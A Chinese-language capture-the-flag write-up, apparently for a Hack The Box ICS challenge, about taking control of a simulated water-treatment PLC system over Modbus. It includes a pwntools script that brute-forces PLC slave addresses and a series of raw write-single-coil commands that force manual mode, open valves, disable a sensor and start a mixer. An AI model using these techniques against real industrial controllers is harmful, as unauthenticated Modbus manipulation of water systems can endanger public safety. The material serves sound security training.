题目背景
场景描述:
A DDoS attack is ongoing against our capital city's water management system. Every facility in this system appears to be infected by malware that rendered the HMI interfaces unusable, thus locking out every system administrator out of the SCADA infrastructure.
The incident response team has managed to pinpoint the organization's objective which is to contaminate the public water supply system with toxic chemicals from the water treatment facility.
We need to neutralize the threat before it's too late!
翻译:
针对首都水管理系统的 DDoS 攻击正在进行。系统中的每个设施似乎都被恶意软件感染,导致 HMI 接口无法使用,从而锁定了所有管理员进入 SCADA 系统。
事件响应团队已经确认攻击者的目标:利用水处理设施向公共供水系统投毒。
我们的任务是:
重新控制 PLC 系统,使水流按照正常路径运行。
题目提供了一份 PDF Briefing,里面描述了水处理设施的 PLC结构与控制逻辑。
系统结构分析
1 物理连接
PDF 第一页展示了水处理系统中各个储罐之间的物理连接关系。
所有 绿色设备(传感器 / 执行器) 都是可以控制的。

2 水箱状态图
PDF 第二页展示了 水箱的状态机。
3 水箱逻辑图
PDF 第三页展示了 PLC 控制逻辑。

关键控制变量:
manual_mode
in_valve
out_valve
sensor
force_start这些变量决定水箱的行为。
4 Mixer 状态机
PDF 第四页是 Mixer(搅拌罐)的状态机。

Mixer 负责:
Water + Chemical → Mix → Output
5 Coil Offset 表
PDF 第五页是最重要的信息。

这里给出了 PLC 控制寄存器的 Coil Offset。
也就是说:
每一个 PLC 状态变量
都对应一个 Modbus Coil 地址CLI 接口分析
连接系统:
nc 154.57.164.72 31817输出:
Water Purification Facility Command Line Interface
[*] Entering interactive mode [Press "H" for available commands]
cmd> H
[*] Available commands:
system: Get system status
modbus: Send command to the network (hex format: AABBCCDDEE[FF])
exit: Exit the interface关键提示:
modbus: Send command to the network (hex format: AABBCCDDEE[FF])Modbus 数据结构分析
CLI 提供格式:
AABBCCDDEE[FF]拆解:
| 字段 | 长度 |
|---|---|
| AA | 1 byte |
| BB | 1 byte |
| CC DD | 2 bytes |
| EE FF | 2 bytes |
总长度:
1 + 1 + 2 + 2 = 6 bytes因此结构为:
AA BB CC DD EE FF对应 Modbus 标准格式
Modbus RTU 标准结构:
[Slave Address][Function Code][Address][Value]| 字段 | 长度 |
|---|---|
| Slave Address | 1 byte |
| Function Code | 1 byte |
| Address | 2 bytes |
| Value | 2 bytes |
例如:
01 05 00 01 FF 00含义:
| 字节 | 含义 |
|---|---|
| 01 | 设备地址 |
| 05 | 功能码 |
| 0001 | Coil 地址 |
| FF00 | 写入值 |
Function Code 05
05 = Write Single Coil写入值:
FF00 → ON
0000 → OFF设备地址爆破
题目没有给出 PLC 设备地址,因此需要 爆破 Slave Address。
脚本如下:
from pwn import *
def get_state(r):
state = ""
r.recvuntil(b"cmd> ")
r.sendline(b"system")
state += r.recvuntil(b"\n\n").decode()
state += r.recvuntil(b"\n\n").decode()
return state
HOST = "154.57.164.72"
PORT = 31817
r = remote(HOST, PORT)
initial_state = get_state(r)
equipments = {
"water": {
"addr": None,
"init_cmd": b"0500C8FF00"
},
"mixer": {
"addr": None,
"init_cmd": b"05002DFF00"
}
}
for i in range(256):
for equipment in equipments:
cmd = b"modbus " + hex(i)[2:].upper().encode() + equipments[equipment]["init_cmd"]
r.recvuntil(b"cmd> ")
r.sendline(cmd)
current_state = get_state(r)
if current_state != initial_state:
equipments[equipment]["addr"] = hex(i)
if all([equipments[e]["addr"] for e in equipments]):
print(equipments)
r.close()
exit()
else:
initial_state = current_state
print(f"[*] Try n°{i+1}")运行结果:
{'water': {'addr': '0x88', 'init_cmd': b'0500C8FF00'},
'mixer': {'addr': '0x35', 'init_cmd': b'05002DFF00'}}得到设备地址:
| 设备 | 地址 |
|---|---|
| water tank | 0x88 |
| mixer | 0x35 |
控制水箱
目标:
让水从 Tank → Mixer
步骤:
1 切换手动模式
modbus 880500C8FF002 强制进水
modbus 88050538FF003 强制出水
modbus 880504D2FF004 关闭低位传感器
modbus 880500400000当前水箱状态:
{
"auto_mode": 0,
"manual_mode": 1,
"in_valve": 1,
"out_valve": 1,
"low_sensor": 0,
"force_start_in": 1,
"force_start_out": 1
}此时:
水从 Tank → Mixer启动 Mixer
Mixer 有两个输入:
water tank
chemical tank当前状态:
in_vale_water = 1
in_valve = 0我们只需要:
让 Mixer 排水
5 启动 Mixer
modbus 3505002DFF006 激活 Mixer 高位传感器
modbus 35050044FF00完整利用命令
┌──(root㉿BushSEC)-[~]
└─# nc 154.57.164.82 31480
Water Purification Facility Command Line Interface
[*] Entering interactive mode [Press "H" for available commands]
cmd> modbus 880500C8FF00
[*] Forwarding command to the network
cmd> modbus 88050538FF00
[*] Forwarding command to the network
cmd> modbus 880504D2FF00
[*] Forwarding command to the network
cmd> modbus 880500400000
[*] Forwarding command to the network
cmd> modbus 3505002DFF00
[*] Forwarding command to the network
cmd> modbus 35050044FF00
[*] Forwarding command to the network
cmd> system
[*] PLCs found: water tank:{"auto_mode": 0, "manual_mode": 1, "stop_out": 0, "stop_in": 0, "high_sensor": 0, "in_valve": 1, "out_valve": 1, "start": 0, "low_sensor": 0, "manual_mode_control": 1, "cutoff": 0, "force_start_out": 1, "force_start_in": 1, "flag": "HTB{m15510n5_5ucc355_f4c1117y_53cu23d!@12r3}"}
mixer:{"auto_mode": 0, "in_vale": 0, "in_vale_water": 1, "out_valve": 1, "in_valve": 0, "start": 1, "low_sensor": 0, "high_sensor": 1}最终状态
{
"auto_mode": 0,
"manual_mode": 1,
"stop_out": 0,
"stop_in": 0,
"high_sensor": 0,
"in_valve": 1,
"out_valve": 1,
"start": 0,
"low_sensor": 0,
"manual_mode_control": 1,
"cutoff": 0,
"force_start_out": 1,
"force_start_in": 1,
"flag": "HTB{m15510n5_5ucc355_f4c1117y_53cu23d!@12r3}"
}
mixer:
{
"auto_mode": 0,
"in_vale": 0,
"in_vale_water": 1,
"out_valve": 1,
"in_valve": 0,
"start": 1,
"low_sensor": 0,
"high_sensor": 1
}成功获取 Flag:
HTB{m15510n5_5ucc355_f4c1117y_53cu23d!@12r3}总结
本题核心考察:
- ICS / SCADA 系统理解
- Modbus 协议结构
- PLC 控制逻辑分析
- 通过 CLI 接口发送 Modbus 指令
- 爆破 Slave Address
关键思路:
解析 PDF PLC 逻辑
→ 理解 Modbus 命令结构
→ 爆破设备地址
→ 控制 Water Tank
→ 启动 Mixer
→ 获取 Flag

评论 (0)